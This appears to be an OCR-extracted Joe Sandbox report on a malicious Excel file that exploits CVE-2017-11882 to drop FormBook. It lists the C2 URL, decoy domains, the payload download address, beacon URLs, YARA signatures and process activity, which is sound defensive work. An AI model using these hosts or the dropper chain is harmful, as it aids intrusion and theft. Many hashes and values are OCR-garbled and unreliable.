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Windows Analysis Report ORDER CONFIRMATION.xIsx

Overview

General Information

Sample ORDER
Name: CONFIRMATION.xIsx

Analysis ID: 483668

MDS: elel8c326febdae.
SHAL: 7d0abdd1c6ldac..
SHA256: a53f9cefce2fc02...

VelvetSweatshop

Infos: fiB Qb

wES HCA' HCH
3
HI A 4

Most interesting Screenshot:

F8 e
B:

B o oelel= - |

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2920 cmdline: ‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 2808 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding MD5:

A87236E214F6D42A65F5DEDAC816AECS)

Detection

FormBook
Score: 100
Range: 0-100
Whitelisted: false
Confidence: 100%

MALICIOUS

| EOHE

%)
«Q

=3

4
c

=

(1

7]

5]

Found malware configuration

Snort IDS alert for network traffic (e....

Sigma detected: EQNEDT32.EXE c...

Classification

Multi AV Scanner detection for subm...
Yara detected FormBook

Malicious sample detected (through ...
Yara detected AntiVM3

Sigma detected: Droppers Exploiting...
System process connects to networ...
Sigma detected: File Dropped By EQ...
Antivirus detection for URL or domain
Sample uses process hollowing tech...
Maps a DLL or, memory. area ints

Tries to detect sandboxes and other...

Office equation editor: starts process...

e [ vbc.exe (PID: 2976 cmdline: 'C:\Users\Public\vbc.exe' MD5: 989933E361010648C467C6D7B6C2D812)
e [ vbc.exe (PID: 836 cmdline: C:\Users\Public\vbc.exe MD5: 989933E361010648C467C6D7B6C2D812)
e [E] vbc.exe (PID: 2636 cmdline: C:\Users\Public\vbc.exe MD5: 989933E361010648C467C6D7B6C2D812)
o [m1 explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer. EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

e B ipconfig.exe (PID: 1012 cmdline: C:\Windows\SysWOW64\ipconfig.exe MDS: CABB20E171770FF64614A54C1F31C033)

. cmd.exe (PID: 2688 cmdline: /c del ‘C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

= cleanup

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021
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"C2 list": [
"www.hanlansmojitovillage.net/nthe/"

1,

"decoy": [
"omelhorcurso-online.com”,
"ttjk620.com",
"urfavvpimp.com",
"touchmytag.com",
"allianzbersamamu.com”,
"menucoders.com”,
"goldmig.com",
"optplm.com",
"ramblersattic.com”,
"thehendrixcollection.com”,
"angelsmoonsexshop.com”,
"indianajones.club”,
"tageslinsen.info",
"thscore2.com",
"onpar-golf.com",
"youcanaskmeto.review",
"overseaexpert.com",
"1977991.com",
"eurolajd.com",
"thefoxshack.com",
"bubblelized.com”,
"texasvoterregistration.com”,
"denme.net",

"sprtnet.com",
"aedenpure.com”,
"yourdoor.pro”,
"oakridge-pm.com",
"swoldiersnation.com",
"com-security.center”,
"prostockbeisbol.com",
"mailbroadcastdelivery.club”,
"fihglobal.com",
"hiphopventuresllc.com”,
"ambrieclothing.com",
"colorfulcreativeco.com”,
"mysahuarita.com”,
"gibadugi.com",
"asoboawa.com",
"requotation.com”,
"wolford.mobi",
"ndfvkwnew. icu",
"thaysay.net",
"thaibinhgear.com",
"minhscribe.com”,
"americanstonesusa.com”,
"dindigulvysya.com”,
"tomrings.com”,
"plasticplank.com",
"societegenerol.com",
"jrufexsh.com",
"ujulus.club”,

"cpb.site”,

"bhfhf.com",
"yamano-ue.com”,
"vivorelle.com",
"groundedheavens.com”,
"realstyleworks.com",
"vicdux.world",
"kegeratorcollective.com”,
"gamemavn.com",

"author jameswshepherdonline.com",
"kankanlol.com",
"renatradingbv.com",

"ponnyridning.com"

Yara Overview

Memory Dumps

Source Rule

00000008.00000002.541191725.0000000000400000.00000 JoeSecurity_FormBook
040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source Rule Description Author Strings

00000008.00000002.541191725.0000000000400000.00000 Formbook_1 autogenerated rule Felix Bilstein - e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
040.00000001.sdmp brought to you by  yara-signator at e 0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494

e 0x14181:$sequence_2: 3B 4F 14 73 9585 C9 74 91

e 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02

83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

00000008.00000002.541191725.0000000000400000.00000 Formbook detect Formbook in JPCERT/CC
040.00000001.sdmp memory Incident Response
Group

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

0000000B.00000002.687551604.00000000002C JoeSecurity_FormBook  Yara detected Joe Security
0000.00000004.00000001.sdmp FormBook

0000000B.00000002.687551604.00000000002C Formbook_1 autogenerated rule Felix Bilstein - e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0000.00000004.00000001.sdmp brought to you by  yara-signator at e 0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot 0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14181:$sequence_2: 3B 4F 14 739585 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

.

e o o o

e o o o

Click to see the 24 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Execution from Suspicious Folder

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

Machine Learning detection for dropped file

Exploits: -i.

Copyright Joe Security LLC 2021 Page 6 of 39




Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

R

E-Banking Fraud:

Yara detected FormBook

System Summary:

=

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

]‘

Persistence and Installation Behavior:

Boot Survival:

=

]‘

Malware Analysis System Evasion:

Yara detected AntiVM3

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

=

Yara detected FormBook

R

Remote Access Functionality:

Yara detected FormBook
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Mitre Att&ck Matrix

Initial Privilege
Access Execution Persistence Escalation
Valid Shared Path Process

Accounts Modules Interception  Injection

Default Exploitation for  Boot or Extra Window

Accounts Client Logon Memory
Execution Initialization  Injection

Scripts

Domain At (Linux) Logon Script Logon Script

Accounts (Windows)  (Windows)

Local At (Windows) Logon Script Logon Script

Accounts (Mac) (Mac)

Cloud Cron Network Network Logon

Accounts Logon Script Script

Replication  Launchd Rc.common Rc.common

Through

Removable

Media

External Scheduled Task Startup Startup Items

Remote Iltems

Services

Drive-by Command and Scheduled  Scheduled

Compromise Scripting Task/Job Task/Job
Interpreter

Exploit PowerShell At (Linux) At (Linux)

Public-

Facing

Application

Behavior Graph
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Defense Evasion

Masquerading

Disable or Modify

Tools

Virtualization/Sandbox

Evasion
Process
Injection B

Deobfuscate/Decode
Files or

Information

Obfuscated Files or
Information

Software

Packing

Timestomp

Extra Window Memory
Injection

Credential
Access Discovery

oS Security Software

Credential ~ Discovery
Dumping

LSASS Process Discovery
Memory

Security Virtualization/Sandbox
Account Evasion
Manager

NTDS Remote System
Discovery

LSA System Network

Secrets Configuration
Discovery

Cached File and Directory
Domain Discovery
Credentials

DCSync System Information

Discovery

Proc Network Service
Filesystem Scanning

/etc/passwd System Network
and Connections
letc/shadow Discovery

Lateral
Movement Collection
Remote Archive
Services Collected
Data
Remote Data from
Desktop Removable
Protocol Media

SMB/Windows Data from

Admin Shares Network
Shared
Drive

Distributed Input
Component Capture
Object Model

SSH Keylogging
VNC GUI Input
Capture
Windows Web Portal
Remote Capture
Management
Shared Credential
Webroot API
Hooking
Software Data

Deployment  Staged
Tools

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Exfiltration
Over
Alternative
Protocol

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Command and Net
Control Effe
Encrypted Eav
Channel Inse
Net\

Con

Ingress Tool Exp
Transfer Red
Call

Non-Application  Exp
Layer Protocol g Trac
Loci

Application Layer SIM
Protocol Swe
Fallback Mar
Channels Dev
Con

Multiband Jam
Communication  Den
Sen

Commonly Used Rog
Port Acc
Application Layer Dow
Protocol Inse
Prot

Web Protocols Rog
Bas
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Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process
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*

Number of created Registry Values

TLI
s
"en

Number of created Files

5 B

Visual Basic

2=
5E

Delphi

i
i
=

Java
.Net C# or VB.NET
C, C++ or other language

Is malicious

Internet

=) > LN

- - - - - -

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Home | Insert  Page Layout

¥ cut

Ea copy v

- Format Painter
Clipboard

Calibri

B I U

ORDER CONFIRMATION - Microsoft Excel

| = g
. @] Fin - =
Format

&2 Clear ~
Editing

R7

A

M 4 » M| Sheet2 Sheet3
Ready |

3. Once you have enabled editi

Update Links

[EEERES

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
ORDER CONFIRMATION.xIsx 33%
ORDER CONFIRMATION.xIsx 29%
Dropped Files

Source Detection
C:\Users\Public\vbc.exe 100%
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\ZAE7RW1 100%
P\vbc[1].exe

Unpacked PE Files

Source Detection Scanner
8.2.vbc.exe.400000.2.unpack 100% Avira

Domains

No Antivirus matches

Copyright Joe Security LLC 2021

Scanner Label
Virustotal
ReversingLabs Document-
Word.Exploit.CVE-
2017-11882
Scanner Label
Joe Sandbox ML
Joe Sandbox ML
Label Link
TR/Crypt.ZPACK.Gen

Link

Browse

Download

Download File

Page 10 of 39


https://www.virustotal.com/gui/file/a53f9cefce2fc02da9726d54387b05952a3956b9da65c6927c96250b44099d9a/detection/f-a53f9cefce2fc02da9726d54387b05952a3956b9da65c6927c96250b44099d9a-1631681088

URLs

Source Detection Scanner Label Link
http://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
http:/fwww.americanstonesusa.com/nthe/? 0% Avira URL Cloud safe
t48tI=fJEp_HN8mMPITHN5P&5jo4nr=TiwkgH4UKC7Clqz9ktcRQySnot/hSPOU84YZk1QGO5z/hARin1ng6

rxU4Y++sy6YdGpizQ==

http:/fwww.authorjameswshepherdonline.com/nthe/? 0% Avira URL Cloud safe
t48tI=fJEp_HN8mMPITHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/POs5BKPQIOoe

KppWI2ezsgMpUEHhIAA==

http:/fwww.iis.fhg.de/audioPA 0% URL Reputation safe
http:/fwindowsmedia.com/redir/services.asp? WMPFriendly=true 0% URL Reputation safe
http:iitreyresearch.net 0% URL Reputation safe
http:/fjava.sun.com 0% Avira URL Cloud safe
http:/fwww.realstyleworks.com/nthe/? 0% Avira URL Cloud safe
t48tI=fJEp_HN8mMPITHN5P&5jo4nr=QEezsAFDINAB3yJURHSMHXjRGqVBO6IXE20IDVVtKCtrVdaWwOVv

mvQD4In9eCVkj8I4WBCQ==

http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/fwww.hanlansmojitovillage.net/nthe/? 0% Avira URL Cloud safe

t48tJ=fJEp_HN8mMPITHN5P&5j04nr=540fAHeKGwMzfFPkI96ZbDhctG36f6+/FiuzkHshmPfrtcl9VWH+3ol
ASXX+4wyWJlckJQ==

www.hanlansmojitovillage.net/nthe/ 0% Avira URL Cloud safe

http:/fwww.onpar-golf.com/nthe/? 0% Avira URL Cloud safe
5jo4nr=B6rYepO0Vm3M2EhGqYu/feA67U2SQJItGoCN7KNGfFIDVSMwI26b57yYWO0nsnzi8vT4Ky8RQ==&t
48tJ=fJEp_HN8mMPITHN5P

http:/fcomputername/printers/printername/.printer 0% Avira URL Cloud safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:ifservername/isapibackend.dll 0% Avira URL Cloud  safe
http:i/https://www.americanstonesusa.com/nthe/? 0% Avira URL Cloud  safe

t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=TiWwkgH4UKC7Clqz9ktcRQySnot

http:/fwww.thaysay.net/nthe/? 0% Avira URL Cloud safe
5jo4nr=JnpX3/YBBY9TCXbKhp8uYEFRBGzb3gJR2p4kRAES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==&148
tJ=fIEp_HN8mPITHN5P

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
plasticplank.com 34.102.136.180 true false unknown
hanlansmojitovillage.net 34.102.136.180 true false unknown
www.aedenpure.com 217.160.0.177 true false unknown
thaysay.net 34.102.136.180 true false unknown
realstyleworks.com 34.98.99.30 true false unknown
www.tomrings.com 162.0.214.58 true false unknown
cname.landingi.com 52.212.68.12 true false high

authorjameswshepherdonline.com 34.102.136.180 true false unknown

onpar-golf.com 34.102.136.180 true false unknown

Copyright Joe Security LLC 2021 Page 11 of 39



Name P Active Malicious Antivirus Detection

Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:/fwww.authorjameswshepherdonline.com/nthe/? false e Avira URL Cloud: safe
t48tI=fJEp_HN8mMPITHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/P0s5
BKPQIOoeKppWI2ezsgMpUEHhIAA==

unknown

http:/fwww.realstyleworks.com/nthe/? false e Avira URL Cloud: safe unknown
t48tJ=fJEp_HN8mMPITHN5P&5j04nr=QEezsAFDINAB3yJURHSMHXjRGqVBO6IXE20IDVVKCt

rvdawOVmvQD4In9eCVkj8l4WBCQ==

http:/fwww.plasticplank.com/nthe/? false e Avira URL Cloud: malware unknown
5jo4nr=S+ZwTBrk0+7RoomNfSvQ9j84ffpxKdfieFGWtVtDAWHCIMGVYLqiZt07bDY98RTKIOT

yTg==&t48tJ=fJEp_HN8mMPITHN5P

http:/fwww.hanlansmojitovillage.net/nthe/? false e Avira URL Cloud: safe unknown
t48tJ=fIEp_HN8mMPITHN5P&5jo4nr=540fAHeKGwMzfFPkI96ZbDhctG36f6+/FiuzkHshmPfrtcl

9VWH+30lASXX+4wyWJIckJQ==

http:/fwww.onpar-golf.com/nthe/? false e Avira URL Cloud: safe unknown
5jo4nr=B6rYepO0Vm3M2EhGqYu/feA67U2SQJItGoCN7KNGfFIDVSMwI26b57yYWO0nsnzi8vT4K
y8RQ==&t48tJ=fJEp_HN8mMPITHN5P

http:/fwww.thaysay.net/nthe/? false e Avira URL Cloud: safe unknown
5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRAES4yzOIzRdyh/c8y0xiKK/8z4KJyQ
SLA==&t48tJ=fJEp_HN8mMPITHN5P
URLs from Memory and Binaries
Contacted IPs
Public

Domain Country Flag ASN Name Malicious
34.102.136.180 plasticplank.com United States 15169 GOOGLEUS false
34.98.99.30 realstyleworks.com United States = 15169 GOOGLEUS false

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:

Number of existing processes analysed:

Copyright Joe Security LLC 2021

33.0.0 White Diamond

483668

15.09.2021

11:15:16

CloudBasic

Oh 17m 57s

false

light

ORDER CONFIRMATION.xlIsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

12
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Number of existing drivers analysed:

Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winXLSX@12/19@22/4
EGA Information: Failed
HDC Information: e Successful, ratio: 23.7% (good quality ratio 22.8%)

e Quality average: 69.8%
e Quality standard deviation: 28.9%

HCA Information: e Successful, ratio: 97%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: Adjust boot time

Enable AMSI

Found application associated with file extension: .xIsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Warnings: Show All

Simulations

Behavior and APIs

Time Type Description

11:15:46 API Interceptor 62x Sleep call for process: EQNEDT32.EXE modified
11:15:48 API Interceptor 125x Sleep call for process: vbc.exe modified
11:16:22 API Interceptor 229x Sleep call for process: ipconfig.exe modified
11:17:11 API Interceptor 1x Sleep call for process: explorer.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 198.23.21
2.143/rest
ore/vbc.exe

198.23.212.143

Get hash malicious Browse e 198.23.21
2.143/hkem
d/vbc.exe

Get hash malicious Browse e 198.23.21
2.143/ibm/
vbc.exe

Get hash malicious Browse * www.ameri
canstonesu
sa.com/nthe/?
pF=TiWk
gH4RKF7GI6
IxmtcRQySn
ot/hSPOU84
AJ42MHKZz+
hx9kgl2ssv
JW7++40TiQ
RwdDgjcF6A
==&0ZU=kh_
XEVoH4

192.99.131.252

Copyright Joe Security LLC 2021 Page 13 of 39


https://view.joesandbox.com/analysis/377007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377007/html/none?idtype=webid
https://view.joesandbox.com/analysis/375397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375397/html/none?idtype=webid
https://view.joesandbox.com/analysis/374406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374406/html/none?idtype=webid
https://view.joesandbox.com/analysis/371790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/371790/html/none?idtype=webid

Match

Domains

Match
www.aedenpure.com

www.tomrings.com

cname.landingi.com

ASN

Match
AS-COLOCROSSINGUS

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256 Detection Link Context
Get hash malicious Browse e www.ameri
canstonesu
sa.com/nthe/?
Uzrhst=
U4UTr&JBth
_OD=TiWkgH
ARKF7Gl6/x
mtcRQySnot
/hSPOU84AJ
42MHKZz+hx
9kgl2ssvIwW
79S00i+rWF0S
Associated Sample Name /| URL SHA 256 Detection Link Context
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Get hash malicious Browse e 108.128.23
8.226
Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/370820/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370820/html/none?idtype=webid
https://view.joesandbox.com/analysis/375623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375623/html/none?idtype=webid
https://view.joesandbox.com/analysis/342158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342158/html/none?idtype=webid
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid
https://view.joesandbox.com/analysis/337030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337030/html/none?idtype=webid
https://view.joesandbox.com/analysis/333989/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333989/html/none?idtype=webid
https://view.joesandbox.com/analysis/326166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326166/html/none?idtype=webid
https://view.joesandbox.com/analysis/366022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366022/html/none?idtype=webid
https://view.joesandbox.com/analysis/365145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365145/html/none?idtype=webid
https://view.joesandbox.com/analysis/351210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351210/html/none?idtype=webid
https://view.joesandbox.com/analysis/345753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345753/html/none?idtype=webid
https://view.joesandbox.com/analysis/340016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340016/html/none?idtype=webid
https://view.joesandbox.com/analysis/337948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337948/html/none?idtype=webid
https://view.joesandbox.com/analysis/337595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337595/html/none?idtype=webid
https://view.joesandbox.com/analysis/334316/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334316/html/none?idtype=webid
https://view.joesandbox.com/analysis/328693/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/328693/html/none?idtype=webid
https://view.joesandbox.com/analysis/328607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/328607/html/none?idtype=webid
https://view.joesandbox.com/analysis/323243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/323243/html/none?idtype=webid
https://view.joesandbox.com/analysis/303837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/303837/html/none?idtype=webid
https://view.joesandbox.com/analysis/294087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294087/html/none?idtype=webid
https://view.joesandbox.com/analysis/293834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293834/html/none?idtype=webid
https://view.joesandbox.com/analysis/292996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292996/html/none?idtype=webid
https://view.joesandbox.com/analysis/292013/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292013/html/none?idtype=webid
https://view.joesandbox.com/analysis/287908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/287908/html/none?idtype=webid
https://view.joesandbox.com/analysis/286097/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286097/html/none?idtype=webid
https://view.joesandbox.com/analysis/282881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/282881/html/none?idtype=webid
https://view.joesandbox.com/analysis/260240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260240/html/none?idtype=webid
https://view.joesandbox.com/analysis/379619/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379619/html/none?idtype=webid
https://view.joesandbox.com/analysis/379609/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379609/html/none?idtype=webid
https://view.joesandbox.com/analysis/379604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379604/html/none?idtype=webid
https://view.joesandbox.com/analysis/379407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379407/html/none?idtype=webid
https://view.joesandbox.com/analysis/379406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379406/html/none?idtype=webid
https://view.joesandbox.com/analysis/379404/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379404/html/none?idtype=webid
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid
https://view.joesandbox.com/analysis/379398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379398/html/none?idtype=webid
https://view.joesandbox.com/analysis/379385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379385/html/none?idtype=webid
https://view.joesandbox.com/analysis/379371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379371/html/none?idtype=webid
https://view.joesandbox.com/analysis/379170/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379170/html/none?idtype=webid
https://view.joesandbox.com/analysis/379168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379168/html/none?idtype=webid
https://view.joesandbox.com/analysis/379167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379167/html/none?idtype=webid
https://view.joesandbox.com/analysis/379166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379166/html/none?idtype=webid

Match

OVHFR

Associated Sample Name / URL SHA 256 Detection Link Context
_ Get hash malicious Browse e 23.94.159.208
_ Get hash malicious Browse e 23.95.85.181
_ Get hash malicious Browse e 198.12.127.217
_ Get hash malicious Browse e 198.46.199.171
_ Get hash malicious Browse e 198.12.107.117
_ Get hash malicious Browse e 172.245.26.190
_ Get hash malicious Browse e 92.222.145.236
_ Get hash malicious Browse e 144.217.61.66
_ Get hash malicious Browse e 87.98.185.184
_ Get hash malicious Browse e 213.186.33.5
_ Get hash malicious Browse e 54.37.203.235
_ Get hash malicious Browse e 51.254.69.209
_ Get hash malicious Browse e 51.79.103.19
_ Get hash malicious Browse e 213.251.18
1.247
_ Get hash malicious Browse e 144.217.61.66
_ Get hash malicious Browse e 164.132.216.38
_ Get hash malicious Browse e 149.56.94.218
_ Get hash malicious Browse e 51.89.143.152
_ Get hash malicious Browse e 51.89.143.157
_ Get hash malicious Browse e 167.114.11
9.127
_ Get hash malicious Browse e 51.89.96.41
_ Get hash malicious Browse e 51.222.134.241
_ Get hash malicious Browse e 51.89.96.41
_ Get hash malicious Browse e 139.99.135.131
_ Get hash malicious Browse e 139.99.135.131
_ Get hash malicious Browse e 139.99.135.131

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Reputation:

IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

556544

7.182791197610268

false

12288:7WHCM2K4Cz8liFBdgtM6lf2vo45Rm5fv1zCIn:h3CzeiDdIMAfEofftzk
989933E361010648C467C6D7B6C2D812
3BD47D097B8CD69083445EB0417B0059FA806542
34A89EDA5DD4AEF3EFB096011F27BBA7354B4C624D5DC01F4B43A18AC42D6AF4

F98B8337F527B49A4E5BD659CD6264D22F43C31EAABS5CCA4BF79EE2C5C5405D5CD78D1176759A0E0287ESFEB82675EFOD73DDA918FB9289ACCID84DA466C!
OF

true

e Antivirus: Joe Sandbox ML, Detection: 100%

low

http://198.23.212.143/ddr/vbc.exe
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https://view.joesandbox.com/analysis/379164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379164/html/none?idtype=webid
https://view.joesandbox.com/analysis/379159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379159/html/none?idtype=webid
https://view.joesandbox.com/analysis/379158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379158/html/none?idtype=webid
https://view.joesandbox.com/analysis/379155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379155/html/none?idtype=webid
https://view.joesandbox.com/analysis/379140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379140/html/none?idtype=webid
https://view.joesandbox.com/analysis/379093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379093/html/none?idtype=webid
https://view.joesandbox.com/analysis/379520/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379520/html/none?idtype=webid
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid
https://view.joesandbox.com/analysis/379232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379232/html/none?idtype=webid
https://view.joesandbox.com/analysis/379083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379083/html/none?idtype=webid
https://view.joesandbox.com/analysis/378969/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378969/html/none?idtype=webid
https://view.joesandbox.com/analysis/378933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378933/html/none?idtype=webid
https://view.joesandbox.com/analysis/378897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378897/html/none?idtype=webid
https://view.joesandbox.com/analysis/378854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378854/html/none?idtype=webid
https://view.joesandbox.com/analysis/378724/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378724/html/none?idtype=webid
https://view.joesandbox.com/analysis/378716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378716/html/none?idtype=webid
https://view.joesandbox.com/analysis/378679/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378679/html/none?idtype=webid
